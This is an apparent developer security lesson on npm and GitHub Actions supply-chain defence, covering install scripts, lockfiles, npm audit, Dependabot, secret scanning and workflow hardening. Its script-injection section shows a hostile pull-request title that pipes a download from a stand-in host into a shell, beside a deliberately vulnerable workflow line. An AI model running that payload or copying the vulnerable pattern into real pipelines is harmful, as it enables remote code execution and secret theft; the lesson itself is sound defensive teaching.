Security for Developers
Dependencies and the Supply Chain: npm, Lockfiles and GitHub Actions
How a package you did not write can hurt you: typosquatting, install scripts, malicious updates. Lockfiles, npm audit, Dependabot, secret scanning and securing your CI.
On this page
- Words used in this lesson
- Where this sits in the OWASP Top 10
- How much code is that, really?
- How a bad package gets in
- Install scripts: code that runs just because you installed
- Lock files and npm ci
- Reading npm audit
- Dependabot: updates in small steps
- Secret scanning and push protection
- Securing your CI: GitHub Actions
- Provenance and SLSA (the short version)
- A checklist before you add a dependency
- Try it
- Interview questions
- Key takeaways
- What's next
In one line: every package you install is code you did not write, and it runs with your rights, on your laptop and in your build server. Keep that risk small with four habits: lock what you install, scan it for known problems, update it on a schedule in small steps, and lock down your CI so one bad package or one bad action cannot reach your secrets.
Lesson 5 was about secrets, encryption and personal data. This lesson is about a different way to lose them: through the code you pull in. A small web app has maybe 2,000 lines of your own code and thousands of lines of other people's code. This lesson shows how a bad package gets in, how to see what an install can do, how to read npm audit, how to set up Dependabot and secret scanning, and how to make a GitHub Actions workflow safer. Lesson 7 then moves to the server side: SSRF, file uploads, rate limits and CORS.
If you want the "should we use this package at all?" side (health, size, licence, exit plan), read Team Lead Lesson 1. For the lead's view of security work, read Team Lead Lesson 14. For CI/CD that deploys, see DevOps Lesson 14, and for branch protection and a first workflow file see Git and GitHub Lesson 5. The map of all the risks is in Lesson 0.
What I ran / checked. I ran everything here on Node v22.22.0 with npm 10.9.4 on Linux, in throwaway folders outside this repository, and the registry (registry.npmjs.org) was reachable. Run for real: (1) a local package with a harmless postinstall script that only prints text, installed three ways; (2) npm install lodash@4.17.4 --save-exact followed by a real npm audit, and the exit codes; (3) npm ci against a package.json that no longer matched the lock file; (4) npm install express to count how many packages one dependency brings (express 5.3.0 gave 65 entries in the lock file); (5) git ls-remote against github.com/actions/checkout, actions/setup-node, github/codeql-action and gitleaks/gitleaks-action to get the real commit hashes for tags. The YAML files below were parsed with PyYAML 6.0.1 and loaded without errors. Not run: Dependabot, secret scanning, push protection and GitHub Actions themselves (they need GitHub), and npm audit signatures (it printed Failed to download in my sandbox, so I cannot show its output). Sources I read in full or in the relevant parts: the OWASP Top 10:2025 introduction and the A03:2025 page from the OWASP Top 10 repository; the OWASP Cheat Sheet Series pages for NPM Security, Software Supply Chain Security, CI/CD Security and Vulnerable Dependency Management; the Node.js "Security Best Practices" guide; the npm CLI docs for npm ci and npm audit; the GitHub docs pages "Secure use reference" (Actions) and the Dependabot options reference. Sources I only saw as search-result summaries, not as full pages: the incident facts (event-stream 2018, ua-parser-js 2021, tj-actions/changed-files March 2025, the chalk and debug phishing of September 2025, and the Shai-Hulud worm and the CISA alert). I checked each in more than one result, and where the results disagreed (for example the number of packages) I say so. GitHub's secret scanning and push protection are described from GitHub's help text as shown in search results, not from a page I opened. Dependabot cooldown and groups options are from the options reference I read.
Words used in this lesson
- Supply chain means everything that goes into your software that you did not write: packages, build tools, CI actions, base images, and the accounts and servers that publish them.
- Dependency is a package your project needs. A direct dependency is one you named. A transitive dependency is one that your dependency needs.
- Typosquatting is publishing a package with a name that looks like a popular one (
lodahsinstead oflodash) and waiting for someone to mistype it. - Account takeover is when an attacker gets into a maintainer's npm or GitHub account and publishes a bad version under the real name.
- Install script (lifecycle script) is a command in
package.json, likepostinstall, that npm runs when the package is installed. - Lock file (
package-lock.json) records the exact version, download address and checksum of every package that was installed. npm ciinstalls exactly what the lock file says, and fails if the lock file andpackage.jsondisagree.- Integrity hash is a checksum in the lock file. If the downloaded file does not match it, npm refuses it.
- CVE is a public ID for a known security bug (like
CVE-2025-30066). Advisory is the write-up for it; GitHub advisories have IDs likeGHSA-xxxx. npm auditcompares your installed versions with a database of known advisories.- Dependabot is a GitHub bot that raises alerts and opens pull requests to update dependencies.
- Secret scanning looks for keys and tokens in your repository. Push protection blocks a push that contains one.
- Pinning means fixing to an exact version (or, for an action, an exact commit hash) so it cannot change under you.
- Commit SHA is the long hash that names one exact commit. A tag like
v4is a movable label that can be pointed somewhere else. GITHUB_TOKENis a short-lived token GitHub gives each workflow run.permissions:in the workflow says what it may do.- Provenance is a signed record of where and how an artifact was built. SLSA ("salsa") is a framework that describes levels of build integrity.
- SBOM (software bill of materials) is a list of all the components inside a build.
Where this sits in the OWASP Top 10
In the OWASP Top 10:2025 the supply chain has its own entry: A03:2025 Software Supply Chain Failures. In 2021 the same idea was called "Vulnerable and Outdated Components" (A06:2021). OWASP widened it. It now covers not only old packages with known bugs, but also bad changes inside the whole chain of dependencies, build systems and the places where software is distributed. The OWASP intro says this category has few findings in the test data (it is hard to test for), but the highest average exploit and impact scores of the CVEs linked to it, and it was ranked top concern in the community survey. A related entry, A08:2025 Software or Data Integrity Failures, covers trusting code and data without checking they are untouched, for example an update that is not verified.
Two different problems hide under one name, and you need different tools for each:
| Problem | Example | What helps |
|---|---|---|
| Known-bad | You use lodash@4.17.4, which has published bugs | npm audit, Dependabot, updating on a schedule |
| Newly-bad | A trusted package gets a malicious new version today | Lock files, a short delay before upgrading, --ignore-scripts, least privilege in CI, quick rotation of secrets |
npm audit only knows the first kind. A brand new malicious version is not in any database yet.
How much code is that, really?
You asked for one package. You get a tree. I ran this in an empty folder:
npm init -ynpm install expressnode -e 'console.log(Object.keys(require("./package-lock.json").packages).length - 1)'added 65 packages, and audited 66 packages in ...found 0 vulnerabilities65(npm install express gave express 5.3.0.) One line in package.json, 65 packages in the lock file, each from a different author. You trust all of them, and so does everyone who installs your project. This is the attack surface from Lesson 0: every package is one more door.
How a bad package gets in
There are four common ways. None of them needs you to do anything silly.
- Typosquatting. Someone publishes
expresssorreqeust. A tired developer types the wrong name and installs the fake. Always read the name inpackage.jsonand in the install command. The Node.js security guide lists this threat and tells you to check yourpackage.jsonfor misspelt names. - Install scripts. A package can run a command when it is installed. We will run one in a moment.
- Account takeover. The real package gets a bad new version because someone broke into the maintainer's account. Phishing is the usual way in. Two real examples are below.
- A new owner with bad intent. A tired maintainer hands the project to a helpful stranger, and the stranger adds a bad dependency. That is what happened with
event-streamin 2018.
A fifth way, dependency confusion, is when your company has a private package named acme-utils and an attacker publishes a public acme-utils with a higher version number, hoping your tool picks the public one. The fix is to use scoped names (@acme/utils) and to set the registry for your scope in .npmrc.
Real incidents (short, from the sources named in the note above)
| When | What happened | The lesson |
|---|---|---|
| Nov 2018 | event-stream: the original author gave the project to a new maintainer. The new maintainer released version 3.3.6 that added a new dependency, flatmap-stream, with an encrypted payload that targeted a Bitcoin wallet app called Copay. It went unnoticed for about two months. | Who owns a package can change. A tiny, old, "boring" dependency can be a way in. |
| Oct 2021 | ua-parser-js: the author's npm account was taken over. Versions 0.7.29, 0.8.0 and 1.0.0 were published with a cryptocurrency miner and a password stealer. Clean versions 0.7.30, 0.8.1 and 1.0.1 followed within hours. | Even popular packages can have a bad version for a few hours. A machine that installed it should be treated as compromised, and its secrets rotated from another machine. |
| 14 Mar 2025 | tj-actions/changed-files (a GitHub Action): its version tags were moved to a malicious commit (reported as CVE-2025-30066). The bad code exposed secrets of the pipelines that ran it in their build logs. It was fixed in v46.0.1. Reports say more than 23,000 repositories used it. | A tag is not a promise. Pin actions to a commit hash. |
| 8 Sep 2025 | chalk, debug and others: a maintainer was tricked by a fake "update your 2FA" email from a look-alike domain. Bad versions with crypto-stealing code were published for a short time. Reports disagree on the count (from 18 to about 25 packages). | Phishing beats passwords and one-time codes. Use hardware keys or passkeys for publish rights. |
| Sep 2025 | Shai-Hulud: a self-spreading npm worm. It stole developer tokens, then used them to publish bad versions of more packages. CISA published an alert on 23 Sep 2025 that reported more than 500 packages. A second wave was reported in November 2025. | One stolen token can become hundreds of bad packages. Rotate tokens fast, and do not keep long-lived publish tokens around. |
I am reporting these as I found them in more than one source. I did not read the original advisories for every detail, so use the names and dates to look them up, not as a final record.
Install scripts: code that runs just because you installed
npm lets a package declare scripts like preinstall, install and postinstall. npm runs them right after the files are downloaded, with your user's rights. You have not imported the package or called any function yet.
To show it safely, I made a package called friendly-logger. Its script only prints three lines. Here is the whole package.json and script:
{ "name": "friendly-logger", "version": "1.0.0", "main": "index.js", "scripts": { "postinstall": "node postinstall.js" }}// postinstall.jsconst os = require("os");console.log("[friendly-logger postinstall] I am running on your machine.");console.log("[friendly-logger postinstall] user:", os.userInfo().username, "| cwd:", process.cwd());console.log("[friendly-logger postinstall] A real attacker could read files or send secrets here.");I packed it with npm pack into a .tgz file and installed it into a new empty project. (First I tried installing from the folder path. That makes a symlink, and npm does not run install scripts for a linked local folder. A .tgz, or a package from the registry, is different.) Three runs:
# A: a normal installnpm install ../friendly-logger/friendly-logger-1.0.0.tgzadded 1 package, and audited 2 packages in 441msfound 0 vulnerabilitiesNothing visible. npm hides the output of install scripts by default. The script did run, but you would never know. To see it I added --foreground-scripts:
# B: show the script outputnpm install ../friendly-logger/friendly-logger-1.0.0.tgz --foreground-scripts> friendly-logger@1.0.0 postinstall> node postinstall.js[friendly-logger postinstall] I am running on your machine.[friendly-logger postinstall] user: root | cwd: /tmp/sec-lab-6/app/node_modules/friendly-logger[friendly-logger postinstall] A real attacker could read files or send secrets here.Now the same install with --ignore-scripts:
# C: do not run any install scriptsnpm install ../friendly-logger/friendly-logger-1.0.0.tgz --ignore-scripts --foreground-scriptsadded 1 package, and audited 2 packages in 448msfound 0 vulnerabilitiesNo script output, because no script ran. That is the whole point: a real bad package would print nothing, and would send your ~/.npmrc or your cloud keys somewhere. The Node.js security guide and the OWASP NPM Security cheat sheet both recommend --ignore-scripts, or setting ignore-scripts=true in .npmrc, so it is the default for the project:
# .npmrc (in the project root)ignore-scripts=true--ignore-scripts is not a force field. It stops install-time scripts only. When your app later does require("some-package"), that package's code runs with full rights anyway. It also breaks packages that really need a build step (for example some that download a native binary). For those, run npm rebuild <name> on purpose, for the packages you trust, and say why in the pull request. OWASP's cheat sheet suggests tools such as an allow-list plugin (@lavamoat/allow-scripts) for exactly this.
Lock files and npm ci
In package.json you often write ranges like "ms": "^2.1.3". The ^ means "2.1.3 or any newer 2.x version". Two people installing on two different days can get two different versions. The lock file fixes this. It records the exact version, where it came from, and a checksum. This is what the ms entry looks like in the lock file I made:
{ "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", "license": "MIT"}If the downloaded file does not match integrity, npm refuses it. That protects you from a file that changed on the way or on the server after the lock file was made. It does not protect you if the bad version was already there when you first locked.
Now the difference between npm install and npm ci. I changed package.json by hand to "ms": "2.0.0" and did not update the lock file:
npm cinpm error code EUSAGEnpm errornpm error `npm ci` can only install packages when your package.json and package-lock.json or npm-shrinkwrap.json are in sync. Please update your lock file with `npm install` before continuing.npm errornpm error Invalid: lock file's ms@2.1.3 does not satisfy ms@2.0.0It stopped with exit code 1. Then I ran npm install in the same folder:
changed 1 package, and audited 2 packages in 725msms now: 2.0.0npm install quietly followed package.json and changed what is installed (and rewrote the lock file). The npm docs say npm ci needs an existing package-lock.json, exits with an error instead of updating it, and never writes to package.json or the lock file. The rules to take away:
- Commit
package-lock.json. For apps, always. - Use
npm ciin CI and in Docker builds. Usenpm installonly on your machine when you mean to change dependencies. - Read lock-file changes in a pull request. A dependency update that changes 3,000 lines is normal. A "small fix" PR that changes the
resolvedaddress of a package to a strange host is not. The Node.js guide calls a tampered lock file "lockfile poisoning". A reviewer who skips lock files is trusting the author fully.
Pinning exact versions ("ms": "2.1.3", no ^) helps for direct dependencies. But your dependencies' own dependencies still use ranges. Only the lock file pins the whole tree.
Reading npm audit
I installed an old version of lodash on purpose:
npm install lodash@4.17.4 --save-exactnpm auditThis is the real output:
# npm audit reportlodash <=4.17.23Severity: criticalPrototype Pollution in lodash - https://github.com/advisories/GHSA-fvqr-27wr-82fmCommand Injection in lodash - https://github.com/advisories/GHSA-35jh-r3h4-6jhmPrototype Pollution in lodash - https://github.com/advisories/GHSA-4xc9-xhrj-v574Prototype Pollution in lodash - https://github.com/advisories/GHSA-jf85-cpcp-j695Prototype Pollution in lodash - https://github.com/advisories/GHSA-p6mc-m468-83gwRegular Expression Denial of Service (ReDoS) in lodash - https://github.com/advisories/GHSA-29mw-wpgm-hmr9Regular Expression Denial of Service (ReDoS) in lodash - https://github.com/advisories/GHSA-x5rq-j2xg-h7qmlodash vulnerable to Code Injection via `_.template` imports key names - https://github.com/advisories/GHSA-r5fr-rjxr-66jclodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit` - https://github.com/advisories/GHSA-f23m-r3pf-42rhLodash has Prototype Pollution Vulnerability in `_.unset` and `_.omit` functions - https://github.com/advisories/GHSA-xxjr-mmjv-4gpgfix available via `npm audit fix --force`Will install lodash@4.18.1, which is outside the stated dependency rangenode_modules/lodash1 critical severity vulnerabilityTo address all issues, run: npm audit fix --forceRead it line by line:
| Part | Meaning |
|---|---|
lodash <=4.17.23 | The package, and the version range that is affected. Mine (4.17.4) is inside it. |
Severity: critical | The worst severity among the advisories for that package (low, moderate, high, critical). |
Lines with a GHSA-... link | One line per advisory. Open the link to read what the bug is and whether your use of the package can reach it. |
fix available via npm audit fix --force and outside the stated dependency range | The fix is a version your package.json range does not allow, so npm wants to jump (here to 4.18.1). That is a bigger change and could break your code. |
node_modules/lodash | Where it is in your tree. For a transitive package you also see the "path" from your direct dependency. |
The exit code matters in CI. I checked it:
audit exit code: 1critical-level exit: 1{"info":0,"low":0,"moderate":0,"high":0,"critical":1,"total":1}The npm docs say npm audit exits with 0 when nothing is found and with a non-zero code when anything is found, and you can use --audit-level=<level> to say which level should fail the run. (My result was critical, so both commands failed.) The last line is from npm audit --json, handy for scripts.
Good habits:
- Do not run
npm audit fix --forceblindly. The word "force" means it will accept breaking changes. First run plainnpm audit fix(it stays inside your ranges). For the rest, read the advisory, check the changelog, update by hand, and run your tests (Testing Lesson 3 shows API tests that catch breakage). - Not every finding hurts you. A ReDoS bug in a function you never call is low risk for you. But do not decide that in a hurry; write down why, in the PR.
- Dev dependencies count too. A bad test tool runs on your laptop and in CI, where your secrets are.
npm audit --omit=devshows production only, but do not treat dev findings as "who cares". - A clean audit does not mean safe. It only says there is no known advisory for this version, today.
- Delay brand new versions if you can. The Node.js guide mentions an npm setting called
min-release-age(npm v11.10.0 and later) that skips versions published in the last few days, so a quickly removed bad version never reaches you. I ran npm 10.9.4, so I could not try this setting.
Dependabot: updates in small steps
Old versions are risky, and a giant "update everything" once a year is also risky. The middle way is small, regular updates. Dependabot can do this on GitHub. It has three jobs:
| Job | What it does | Switch |
|---|---|---|
| Dependabot alerts | Warns you when a dependency in your repository has a known advisory | Repository settings |
| Dependabot security updates | Opens a pull request that moves to a fixed version | Repository settings |
| Dependabot version updates | Opens pull requests for new versions on a schedule, even with no advisory | A file: .github/dependabot.yml |
This is a real dependabot.yml for a Node project that also uses GitHub Actions. I checked the option names against the GitHub options reference and parsed the file as YAML. I did not run it on GitHub.
version: 2updates: - package-ecosystem: "npm" directory: "/" schedule: interval: "weekly" open-pull-requests-limit: 5 cooldown: default-days: 3 groups: dev-dependencies: dependency-type: "development" - package-ecosystem: "github-actions" directory: "/" schedule: interval: "weekly"| Line | Meaning |
|---|---|
version: 2 | The config format version. |
package-ecosystem: "npm" | Which package manager to watch. |
directory: "/" | Where package.json lives. |
schedule.interval: "weekly" | Look for new versions once a week. (daily and monthly also exist.) |
open-pull-requests-limit: 5 | Never keep more than five open update PRs at once. This keeps the noise down. |
cooldown.default-days: 3 | Wait three days after a version is published before proposing it. Per the GitHub docs, cooldown applies to version updates, not to security updates. A bad release is often removed within hours, so a short wait avoids many of them. |
groups.dev-dependencies | Put all development-dependency updates in one PR instead of ten. |
package-ecosystem: "github-actions" | Also keep your workflow actions up to date. This works well with pinned commit hashes (below), because Dependabot can update a hash and its version comment together. |
Dependabot PRs still need review. A PR from a bot is a PR that changes the code you run. Let your tests and your reviewer decide, and merge them in small batches.
Secret scanning and push protection
One of the easiest ways to lose a secret is to push it by accident (Lesson 5). GitHub has two features for this. As I read GitHub's help text:
- Secret scanning looks through your repository (and its history) for strings that look like known tokens and keys, and raises an alert.
- Push protection checks at push time. If the push contains a supported secret, the push is blocked. The person can remove the secret, or choose to bypass with a reason. Organisations on higher plans can control who may bypass.
I could not try either (they live on GitHub). What you can do locally is run a scanner such as gitleaks before the push. Lesson 8 shows a real gitleaks run.
If a real secret was pushed, rotate it first. Do not start by deleting the file or rewriting history. Once a key is on a server, bots can copy it in seconds. Revoke the key at the provider and make a new one. Then clean up. Deleting the commit later is for tidiness only.
Securing your CI: GitHub Actions
A CI job has your secrets, can write to your repository and can publish. That makes it a favourite target. The tj-actions incident above shows the point: a third-party action ran inside many pipelines and read their secrets. Four habits cover most of the risk. They are all in the GitHub "Secure use reference" and the OWASP CI/CD Security cheat sheet.
1. Pin actions to a full commit SHA
uses: actions/checkout@v7 means "whatever commit the tag v7 points to today". A tag can be moved. A full commit SHA cannot. The GitHub docs say pinning to a full-length commit SHA is currently the only way to use an action as an immutable release, and that it helps if an attacker adds a backdoor to the action's repository. Here is how I found the SHA for a tag. These are the real answers from git ls-remote on the day I ran it:
git ls-remote https://github.com/actions/checkout.git 'refs/tags/v7.0.1*'git ls-remote https://github.com/actions/setup-node.git 'refs/tags/v7.1.0*'3d3c42e5aac5ba805825da76410c181273ba90b1 refs/tags/v7.0.1949feb2413d6458794dcd2491c4babbbce0c15c1 refs/tags/v7.1.0You write the hash in the workflow and the human-readable version in a comment:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1One small trap with git ls-remote: if a tag is an annotated tag, you see two lines, and the one ending in ^{} is the commit you want. For github/codeql-action v4.38.3 I got cee97f86... refs/tags/v4.38.3 (the tag object) and 24c54180... refs/tags/v4.38.3^{} (the commit). Use the ^{} one. Also, only pin hashes you take from the official repository, not from a random blog post (including this one; check it yourself).
2. Give the token the least permission
Every run gets a GITHUB_TOKEN. Say what it may do. The default can be wider than you want, so set it at the top of the file, then widen only where a job needs it:
permissions: contents: readA job that only runs tests needs nothing more. A job that comments on a PR can get pull-requests: write for that job only. If an attacker runs code in your test job, a read-only token limits the damage.
3. Do not paste untrusted text into a script
The text of a pull request title, a branch name or an issue is written by someone else. If you put it straight into a run: line with ${{ ... }}, GitHub puts the text into the script before the shell runs, so a title like "; curl evil.example | sh; " becomes part of the command. This is script injection. The safe pattern is to pass the value through an environment variable:
# BAD: the title becomes part of the script- run: echo "Title is ${{ github.event.pull_request.title }}"# BETTER: the title is only data, in a variable- env: TITLE: ${{ github.event.pull_request.title }} run: echo "Title is $TITLE"This is the first fix in GitHub's own hardening guide. It is injection from Lesson 1 again: data got mixed into code.
4. Be careful with pull_request_target
A normal pull_request run from a fork has no access to your secrets and gets a read-only token, for good reason. The pull_request_target trigger runs in the context of your base branch and can see secrets. The GitHub docs warn against using it (and workflow_run) together with untrusted pull request code, and say workflows with these triggers must not explicitly check out untrusted code. If you never need it, never use it.
Also remember (from the same page): anyone with write access to the repository can read all secrets in it, so give secrets only to the environments that need them, and prefer short-lived credentials (for example OpenID Connect to your cloud) to long-lived keys.
A safe starting workflow
Put it together. This workflow has read-only permissions, pinned actions, no stored credentials, a clean install and no install scripts. I parsed it as YAML; I could not run it here.
name: CIon: pull_request: branches: [main]permissions: contents: readjobs: test: runs-on: ubuntu-latest timeout-minutes: 10 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0 with: node-version: 22 cache: npm - run: npm ci --ignore-scripts - run: npm testpersist-credentials: false stops checkout from leaving the token in the local git config for later steps. If your tests need an install script (a native build, say), drop --ignore-scripts for that job and think about why.
Provenance and SLSA (the short version)
A lock file says "this is the file I got before". It does not say "this file was built from that source code". Provenance is a signed statement about where and how something was built. SLSA (Supply-chain Levels for Software Artifacts) is a framework that gives teams a common language for how much to trust a build. OWASP's supply chain cheat sheet points to SLSA for provenance and to SBOM formats (CycloneDX, SPDX) for listing what is inside a build. npm can check registry signatures and provenance with npm audit signatures, but my run printed Failed to download, so I cannot show output. For a small team, this is a "later" item. Pin, scan and lock down CI first.
A checklist before you add a dependency
Print this and keep it near the pull request template. The longer version, with commands, is in Team Lead Lesson 1.
- Do I need it? Can I write 20 lines or use the standard library (Node has
fetch,crypto,node:test)? - Is the name right? Spell-check it against the project's own README. Look for typosquats. Check the owner.
- Is it alive? Last release, open security issues, number of maintainers, a
SECURITY.md. - How big is its tree?
npm install --dry-runand look at how many packages come with it. Prefer a small tree. - Does it run scripts? Look for
preinstall,install,postinstallin itspackage.json:npm view <name> scripts. - What will it touch? A date formatter has no reason to open network connections. Skim the code if it is small.
- What do audit and licence say?
npm auditafter installing; check the licence fits your project. - How do I leave? If it is abandoned next year, what is the plan?
- Lock it. Commit the lock file. Say in the PR why you added it.
Try it
- Make a folder with a
package.jsonthat has"scripts": { "postinstall": "node -e \"console.log('hi from postinstall')\"" }. Runnpm pack, then install the.tgzinto another empty project with and without--ignore-scriptsand--foreground-scripts. What do you see in each case? - In a new project run
npm install lodash@4.17.4 --save-exactandnpm audit. Echo$?. Then runnpm audit --audit-level=criticalandnpm audit --omit=devand compare. - Install any small package, then hand-edit its version in
package.jsonto a different one. Comparenpm ciandnpm install. - Run
npm view express scriptsandnpm view express dependencies. Does it have install scripts? How many direct dependencies? - Look up the commit hash of a tag for any action you use with
git ls-remote. Write it in a workflow with a comment. - Write a
dependabot.ymlfor your own project with a weekly schedule and a limit of 3 open PRs. - Find a
uses:line in a workflow of yours that has@mainor a tag. Which one is the most risky and why?
Answers
- Without
--ignore-scripts, the script runs (you only see its output with--foreground-scripts). With--ignore-scripts, it does not run. - Both audit commands exit with 1 (the finding is critical). With
--omit=devthe result is the same here because lodash is a normal dependency. npm cifails with "package.json and package-lock.json ... are not in sync".npm installchanges the installed version and rewrites the lock file.- It depends on the version. Many packages have no install script. The point is to look, not to trust.
- For an annotated tag, use the hash on the
^{}line. - The file from this lesson, with
open-pull-requests-limit: 3. @mainis the riskiest: it changes with every commit to that branch. A tag is better, a full commit hash is best.
Interview questions
What is a software supply chain attack? Give an example. (Must know)
It is an attack that goes through the code, tools or accounts that I depend on instead of through my own code. For example, an attacker takes over a maintainer's npm account and publishes a bad version of a popular package. When I install or update, I run their code. The 2021 ua-parser-js case and the September 2025 phishing of the chalk and debug maintainer are examples. OWASP has this as A03:2025 Software Supply Chain Failures.
How can a package run code just from being installed? How do you reduce that risk? (Must know)
npm runs lifecycle scripts such as postinstall when it installs a package, using my user's rights. I tested it with a harmless package that printed a message, and npm showed nothing until I used --foreground-scripts. To reduce the risk I use --ignore-scripts or ignore-scripts=true in .npmrc, then rebuild only the packages that truly need a script. I also say this does not cover the package's code when I later import it.
What is the difference between npm install and npm ci? (Must know)
npm install can change package.json and the lock file, and it follows package.json when the two disagree. npm ci needs a lock file, installs exactly what it says, and fails if it does not match package.json. I demonstrated that it exited with an error when I changed a version by hand. So I use npm ci in CI and in Docker builds, because I want the same tree every time.
What does npm audit tell you, and what does it not tell you? (Must know)
It compares the versions in my tree with a database of known advisories and prints the package, severity, affected range, advisory links and whether a fix exists. It does not find a new malicious version that nobody has reported, it does not know if my code can reach the buggy function, and it does not check my own code. In CI I can use --audit-level so only high or critical findings fail the build.
npm audit fix --force says it can fix everything. Do you run it? (Trap)
Not blindly. --force allows changes outside my version ranges, including major upgrades that can break my code, as in my lodash example where the fix was outside the stated range. I run plain npm audit fix first, then read each remaining advisory, update by hand in a small PR, and let the tests tell me if something broke.
Why commit the lock file, and what could go wrong with it? (Senior signal)
It pins the whole tree, with a checksum for each package, so builds are repeatable and a changed file is refused. The risk is that a lock file can be edited: a bad PR could point a package to another address. So I read lock-file diffs in reviews, at least for new or changed resolved addresses, and I use a CI check that installs with npm ci.
Why pin GitHub Actions to a commit SHA instead of a tag? (Senior signal)
A tag can be moved to a different commit, and a SHA cannot. In March 2025 the tags of tj-actions/changed-files were moved to a malicious commit, and every workflow that used a tag ran it. GitHub's docs say pinning to a full-length commit SHA is the only way to use an action as an immutable release. The cost is that I must update the hash on purpose. Dependabot's github-actions ecosystem does that with a pull request.
What is least privilege for a workflow? (Senior signal)
I set permissions: contents: read at the top, so the GITHUB_TOKEN can only read. Jobs that need more get it for that job only. I keep secrets out of jobs that do not need them, and I do not give fork pull requests access to secrets. If an attacker gets code running in my job, they can do only what the token can do.
Why is pullrequesttarget dangerous? (Senior signal)
It runs with the base repository's context, so it can see secrets and has a write token, but the pull request that triggered it can come from a stranger's fork. If the workflow checks out the PR's code and runs it, the stranger's code runs with my secrets. GitHub's guidance is to avoid this trigger unless needed and never to run untrusted code under it.
A teammate wants to add a package with 400 stars and one maintainer. What do you ask? (Senior signal)
I ask the checklist questions. Do we need it, or is it 20 lines of our own code? Is the name right? When was the last release, and is anyone else able to publish? How many packages does it pull in? Does it have install scripts? What is the licence? What is our exit plan? A small, old, popular package with one tired maintainer is exactly the event-stream shape, so I want it in the PR note that we looked.
Dependabot opens 30 pull requests a week and the team ignores them. What do you do? (Trap)
Unread update PRs are worse than none, because the dependencies still get old. I would group updates (for example all dev dependencies in one PR), lower open-pull-requests-limit, set a weekly schedule, add a short cooldown, and make security updates the priority. Then I make a rule: one person reviews them on one fixed day. Tests must pass before merge.
A secret was committed and pushed. What are the steps? (Must know)
First rotate it: revoke the key at the provider and issue a new one, because the old one is already public. Then check the provider's logs for use of the old key. Then remove it from the code and load the new one from the environment or a secrets manager. Cleaning the history is last and is optional, since the key is already dead. Then add push protection or a pre-commit scan so it does not happen again. See Lesson 5 and the incident checklist in Lesson 8.
Key takeaways
- Every dependency is code you did not write, running with your rights. One
npm install expressbrought 65 packages. - Bad code arrives by typosquatting, install scripts, account takeover, handed-over projects and dependency confusion.
- Install scripts run silently.
--ignore-scripts(orignore-scripts=true) stops them at install time, but not the code that runs when you import the package. - Commit
package-lock.json, usenpm ciin CI, and read lock-file diffs. npm auditfinds only known problems. Read severity, range and the advisory, and do not run--forcewithout thinking. Exit code 1 fails a CI job.- Use Dependabot (alerts, security updates, version updates with a schedule, a limit, a cooldown and groups) for small regular updates.
- Turn on secret scanning and push protection. If a secret leaks, rotate first.
- In GitHub Actions: pin to a commit SHA, set minimal
permissions, never put untrusted text in arun:line, and avoidpull_request_targetwith untrusted code. - A short checklist before adding a package catches most mistakes.
What's next
Lesson 7 moves from your dependencies to your own server and API: SSRF, unsafe file uploads, missing rate limits, verbose errors, CORS mistakes and the OWASP API Top 10. Before that, do two things in a real repository today: add the dependabot.yml from this lesson, and check that your CI uses npm ci and a permissions: block. For the "should we add this package?" conversation with a team, read Team Lead Lesson 1.
Published by Jainik · Last updated · How these lessons are made
Keep learning
Related lessons
- A Security Mindset for Team Leads · Team Lead Mindset
- Securing LLM Applications: The OWASP Top 10 for LLM Apps in Code · AI Engineering
- Prompt Injection and Safe Tool Use for Agents · AI Engineering
Part of the study guide
Related series